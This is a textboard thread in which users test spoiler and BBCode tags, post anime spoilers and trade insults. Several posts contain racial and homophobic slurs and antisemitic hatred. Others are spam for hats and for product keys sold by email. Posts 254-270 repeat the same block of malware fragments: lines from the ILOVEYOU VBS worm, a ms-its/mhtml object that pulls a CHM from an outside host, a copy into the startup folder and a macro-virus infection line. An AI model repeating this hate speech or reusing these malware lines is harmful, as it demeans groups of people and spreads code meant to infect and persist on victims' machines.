Return Entire Thread First 100 Posts Prev 100 Next 100 Last 50 Posts Report Thread Style: Yotsuba, Pseud0ch, Terminal

Pages: 1-40 41-80 81-120 121-160 161-200 201-240 241-280 281-320 321-360 361-400 401-440 441-480 481-520 521-560 561-600 601-640 641-680 681-720 721-760 761-800 801-840 841-880 881-920 921-960 961-1000 1001-

Spoiler tags

1

Wrap words between the [spoiler] and [/spoiler].

2

For example:

[spoiler]Everyone dies[/spoiler].

becomes

Everyone dies.

3

;_;

4

O Rly

5

[spoiler] asdfghjk [/spoiler

6

asdfghjk

7

i hate this place

8

Orochimaru, Yiraja, Deidara, Asuma and Konohamaru dies.

9

oh hai fag

10

a

11

Iruka is yer mom

12

amidoingitrite

13

the game

14

rite

15

rite

16

FUCKME

17

(spoiler)amidoingitrite(/spoiler)

18

(spoiler)amidoingitrite(/spoiler)

19

niggers

20

why

21

4chan is down

22

WHY

23

/a/ has been frozen for me since 01/02/09(Fri)16:50 No.17640388

24

I want to go back to /a/.

25

>>24
So you gonna try stupid things? is that right faggot?

26

So ronery without /a/. ;_;

27

You must reply to this post if you came from /a/

28

>>27
How anbout no?

29

gb2 /a/

30

>>28
Oh fuck, even this faggot is here.

31

>>27
>7
DIE YOU PIECE OF TRASH

32

>>30
Now, now. Be nice.
We are the only survivors of /a/

33

>>30
Atleast Taiga isn't here

34

>>32
Including me?

35

>>34
Excluding you.

36

So theres only two tripfags here? Cool

37

Someone invite Taiga ):

38

Fuck, im going into withdrawal. Stop holding out on me man, i need my fix.

39

Anonymous2007 and Death The Kidd are the only tripfags that survived. Wat.

40

/a/ lets discuss some ANIMU

41

>>37
So we dont want to be ronery at times even if she is a girl?

Even we can hug her and make her babies?

42

>>39
Wat?

43

Did /a/ freeze for everyone else here at  Anonymous 01/02/09(Fri)16:09 No.17639532  as the first thread on the page?

44

>>42
*ahem*

46

>>42
Yo

47

SUP /a/ I MISSED YOU GUYS

48

Hello, folks.  I see some of you have taken to the text board as well.

49

>>47
Yami GET OUT

50

>>48
Only like 7 of us

51

THIS IS NOW A TORADORA! THREAD

52

:)

53

/a/ is back!

54

Fuck yes, so long losers.

55

>>53
Thanks for telling me
BYE FAGGOTS

56

I was wondering if any one of you been to irc? Just because /a/ is down! 

tl;dr: aka: irc /a/

57

You guys are fucking idiots.

58

adsfadsfadsfadsfadsf

59

lulz

61

the game

62

derp

63

penis

64

wat

65

intelligent discourse

66


L dies
Mello/M Dies
Kira dies.
Misa kills herself
 

67

[spoiler]cocks, its always cocks[/spoiler]

68

and

69

hey

70

SNAPE KILLS DUMBOLDOR, NARUTO DIES!

71

SPIKE DIES

72

[spoiler]A[spoiler]mazing spoiler tricks!

Also, learn to master the POWER OF BBCODE!

73

Amazing spoiler tricks!

Also, learn to master the POWER OF BBCODE!

74

teach me your ways sensei

76

Yes

78

I dunno

79

wat?
[o]lol[o]

80

sdfgfdgdf

81

PEDOBEAR

82

Everyone dies

83

I

84

F*ck a Lapras fuck it tight fuck it till you feel alright

85

gaems

86

Free online Manga
http://www.facebook.com/?sk=messages&tid=450173408440#!/album.php?aid=9001&id=100000762323346

87

http://www.facebook.com/?sk=messages&tid=450173408440#!/album.php?aid=9001&id=100000762323346

88

http://www.facebook.com/?sk=messages&tid=450173408440#!/album.php?aid=9001&id=100000762323346

89

http://www.facebook.com/?sk=messages&tid=450173408440#!/album.php?aid=9001&id=100000762323346

90

!!!!!!!!!!!!

91

ggggggg

92

dick

93

Everyone dies

94

hgrfea

95

nigger

96

nogger

97

nagger

98

<a href=" http://www.mvpcaps.com/"/>Red Bull Hats</a>It's funny how we adopt words and adapt our lexicon to the times. This is a very useful slant on things.

99

These are wonderful! Thank you for sharing!!!!
<a href=http://www.caps2011.com>red bull hats</a>

100

                       

101

hahanope.

102

wut.

103

spike died

104

fuck me

105

cant actually get it to work on 4chan board?

106

GIVE US SEALAND OR WE WILL KILL YOU

107

can this give me cancer

108

shit

109

shit

110

go go barcelona!

111

shit

112

a t t e m p t

113

a t [/spoiler] e [/spoiler] m [/spoiler] p [/spoiler] t [/spoiler] #2 [/spoiler]

114

[spoiler] a [spoiler] t [spoiler] t [spoiler] e [spoiler] m[spoiler] p [spoiler] t #3

115

a t t e m p t #4

116

you are a forumfag.

117

Riddle me this!

118

spoiler

119


            ∧_∧   / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ( ´∀`) < VIVA MEOWXICO! and ALBERTOO DEL RRRIO!
        /    |    \
       /       .|      ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
       / "⌒ヽ |.イ |
   __ |   .ノ | || |__
  .    ノく__========つ--
   _((_________\
    ̄ ̄ヽつ ̄ ̄ ̄ ̄ ̄ ̄ | | ̄

120

Penis

121

This had better fucking work.

122

I like tacos.

123

hi

124

spoiler

125

amidoinitrite?.

126

why

127

testing.

128

fukken casuals

12345678910

herp derp hurr herf derf durr herp derp

|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|
|oooooooooo|

129

[spoiler]test

130

Everyone dies

131

-

132

test

133

kevin spacey was dead

134

Everyone dies

135

pico dies

136

fake&gay

137

hmmm

138

and

139

iiiii

140

>>128
Awesome bro.

141

a

142

[spoiler]holy poo poo[/spoiler]

143

~@@@

144

test spoiler.

145

Test a

146

spoiler

do it if you can, faggots

147

lmao

148

[spoiler]I'm learning how to fail at life [spoiler]No really, why am I even satisfied?[\spoiler][\spoiler]

149

This one was good, making me laugh myself is one of my numerous hobbies

150

LOLOLOLOLOLO L

151

Nope
"greentext"
#redtext

152

Yep
Red

153

<p>nope</p>

154

[p]asd[/p]

155

asd

156

[code=green]asd[/code]

157

'asd'

158

asd

159

#asd

160

'asd

161

[asd

162

Asd

163

delete

164

spoiler

165

aaa

166

everything dies

167

asd

168

[spoiler] testing [spoiler]

169

wat

170

and

171

Wat

172

[q]what[/q]
I don't know what the fuck I'm doing

173

[color=red]Red[/color]
[code=c]
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
   printf("HA! HA! I'M LEARNING BBCODE");
   return(EXIT_SUCCESS);
}
[/code]
[email]no@no.no[/email]
[list]
[*]Red
[*]Blue
[*]Yellow
[/list]

174


#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
   printf("HA! HA! I SUCK AT BBCODE");
   return(EXIT_SUCCESS);
}

Is there a reference for this shit somewhere?

175

[quote="Mr. Blobby"]The text Mr. Blobby wrote would go here[/quote]

176

http://www.thewebcomiclist.com/o/8538

177

Worse then kishimoto's gay story are the fanboys and fangirls

Its a FUCKING show, not a religion.
A typical Narutard reaction to the FACTS:
NARUTARDS SUFFER FROM :
1- Saying Baka, believe it ,Dattebayo alot.
2- SOME fangirls squeel and die due to major yaoi substance in Naruto.
3-They call you gay.
4-They call you nerd.
5-They tell you to get a life.
6-They send you death threats
7-They shut up and start to think.
8-They go to a corner crying, entering autist mode.
9-They stand up oblivious to the previous conversation.

Seriously, all they do is insult people who have an opinion,that don't like it, like as if that makes Naruto good, and then telling you to get a life when they don't follow that advice. And when they finnaly run out of insults, they start to think and notice the truth and begin to cry.
But the funny part is the rinse and repeat from the show continues on them, since they forget all that, and remain narutards, forgetting the whole conversation

Still dont believe me?this helps
http://www.urbandictionary.com/define.php?term=narutard

178

wat

179

spoiler
spoiler

180

This is a >test

181

http://www.thewebcomiclist.com/o/8538

182

o

183

oh so that's how it's done

184

Lol I'm such a noob <--- yep it works

185

Well lets see if this works

did it work?

186

did i do it right?

187

Everyone lives?.

188

just testing

189

/spoiler 【:]】ninja tartles I like that./spoiler <-- Nice,Good cool  things.

190

>>189 LD A,'/' ;that buggy.
XOR A ;sorry mistakes.
spoiler 【:]】Look at me Now. /spoiler <-- Nice,Good cool  things.
JRZ >>191

191

#usr/bin/perl
EXX
LD HL,' >>190 ' ;Import by the address.
ADD HL-2," &gt;" ;added tags.
(ry
XRA ;reset by zero.
CALL *print ; GOSUB *STDOUT
< spoiler > 【:]】I'm the imbisible women. < /spoiler > <-- Test done.
READY
c:\>go to >>192

192

SYNTAX ERROR in >>189-192 [ ! ] Hint -- READ TO >>1-2
Ready
LIST logs.
(ry
191 syntax error '<' near by zero.
READY
#Making sure.so lonely.
RUN
[ spoiler ] (:])Oh my YHVH. [ /spoiler ]<-- Test Comlete?
!
Ok
go to >>193
C:\>(XD)YAHOO!

193

#COPY AND PASTE FOR TAGS.

Everyone dies.
【:]】?
#FIXED THAT.
(;D)Who killed by JOHN LENNON?.<---so meet.
READY
_

194

ASDAFSDF

195

herp

196

ok

197

13 Name: Anonymous : 2012-08-13 20:08
【:]】『사메지마 얘기를 하자구http://www.youtube.com/watch?v=vJGXGaLhIgU
http://dis.4chan.org/read/anime/1344721792/13n-
Σ:D『oops that buggy.
I think changed by link colors,linked color at styles.

198

nyeh

199

/spoiler test /spoiler

200

test

201

[q]test[/q]

202

test

203

[quote]testing[/quote]

204

test

205

[spoiler]I like shota[/spoiler]

206

ur a faget

207

asd

208

[quote]123[/quote]

209

embarrassing test

210

test

211

hi

212

die

213

ghjhgfghjkfsdhjdh

214

spoiler fdkfjklsj spoiler

215

and
{spoiler}and {/spoiler}
(spoiler) and (/spoiler)
<spoiler>and</spoiler>

216

aha

217

Sexy Hentai and Ecchi on youtube!
http://www.youtube.com/watch?v=IzM0P2rQnxQ

218

[spoiler] Hi [spoiler]

219

niggerstonguemyanus

220

niggers are people too

221

I hate fags and jews

222

trips

223

[quote]hi, just trying out tags[/quote]

224



Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop


Searching for legit Microsoft Product keys, Windows 8,7,Studio,Server etc.?

 Mail me at jeremiahgoldstein@hotmail.com

 25$ a pop

225

cock smoker

226

meth for breakfast

227

Spike flies

228

;___;

229

         

230

>rape

231

[spoiler][#][spoiler] [/spoiler][/#][/spoiler]

232

Why did that not work? Fuck you shii.

233

[rem]¯\(°_o)/¯[/rem]

234

le le

235

pensi

236

lel

237

Test

238

Candybars .

239


[spoiler]Little slugger is a lie. The posers die in prison. Pets die. Dads lie to their children to help them cope[/spoiler]

240

Faggots

241

Fairy

242

yay

243

̞̟̠͇̊̋̌̍̎̏̐̑̒̓̔ ̊̋̌̍̎̏̐̑̒̓̔̿̿̿̕ ̚̕̚͡ ͡҉ ҉̔̕̚̕̚҉ ~ ҉̵̞̟̠̖̗̘̙̜̝̞̟̠͇ ̊̋̌̍̎̏̐̑̒̓̔̊̋̌̍ ̎̏̐̑̒̓̔̿̿̿̕̚̕̚͡ ͡ ҉҉ ̔̕̚̕̚҉ ҉̵̞̟̠̖̗̘Z̙̜̝̞̟̠� �̊̋̌̍̎̏̐̑̒̓̔̊̋̌� �̎̏̐̑̒̓̔̿̿̿̕̚̕̚� �# ҉̵̞̟̠̖̗̘̙̜̝̞̟̠͇ ̊̋̌̍̎̏̐̑̒̓̔̊̋̌̍ ̎̏̐̑̒̓̔̿̿̿̕̚̕̚ ҉҉ ̔̕̚̕̚҉ ҉̵̞̟̠̖̗̘̙̜̝̞̟̠͇ ̊̋̌̍̎̏̐̑̒̓̔̊̋̌̍ ̎̏̐̑̒̓̔̿̿̿̕̚̕̚͡ # ̎̏̐̑ ̕̚̕̚ ̔̕̚̕̚҉ ҉̵̞̟̠̖̗̘̙̜̝̞̟̠͇ ̊̋̌̍̎̏̐̑̒̓̔̊̋̌̍ ̎̏̐̑̒̓̔̿̿̿̕̚̕̚͡ ͡҉҉̔̕̚̕̚҉ ͡҉҉̔̕̚̕̚҉ ҉̵̞̟̠̖̗̘̙̜̝̞̟̠͇ ̊̋̌̍̎̏̐̑̒̓̔̊̋̌̍ A̎̏̐̑L̓̔̿̿̿̕̚̕̚͡ ͡҉҉G̔̕̚̕̚҉ ҉̵̞̟̠̖̗̘̙̜̝̞̟̠͇ ̊̋̌̍̎̏̐̑̒̓̔̊̋̌̍ ̎̏̐̑̒̓̔̿̿̿̕̚̕̚͡ ͡҉҉e_eXDe_eXD@_@^^██▓▓██▒▒▒▒▒▓▓▓▓▓▓▒▓████▓██▓▓██▓

244

spoiler crocodile

245

Someone explain to me what's going on here

246

Testing my faggotry posting

247

hifaggot

248

test

249

[sp]I like dragon dick[/sp]

250

No

251

No

252

I need to cash my checks

253

[plotdetails]testing[/plotdetails]

254

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

255

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

256

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

257

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

258

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

259

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

260

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

261

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

262

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

263

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

264

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

265

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

266

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

267

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

268

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

269

<body onload=window()>

 c.Copy(dirwin&"\Win32DLL.vbs")
 c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 <object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
 X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
 fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
 If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
 ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
 G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
 lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))   
 ms-its:mhtml:file://c:\ 
 kak.hta';ken=wd+'START
 End Sub

270

<body onload=window()>

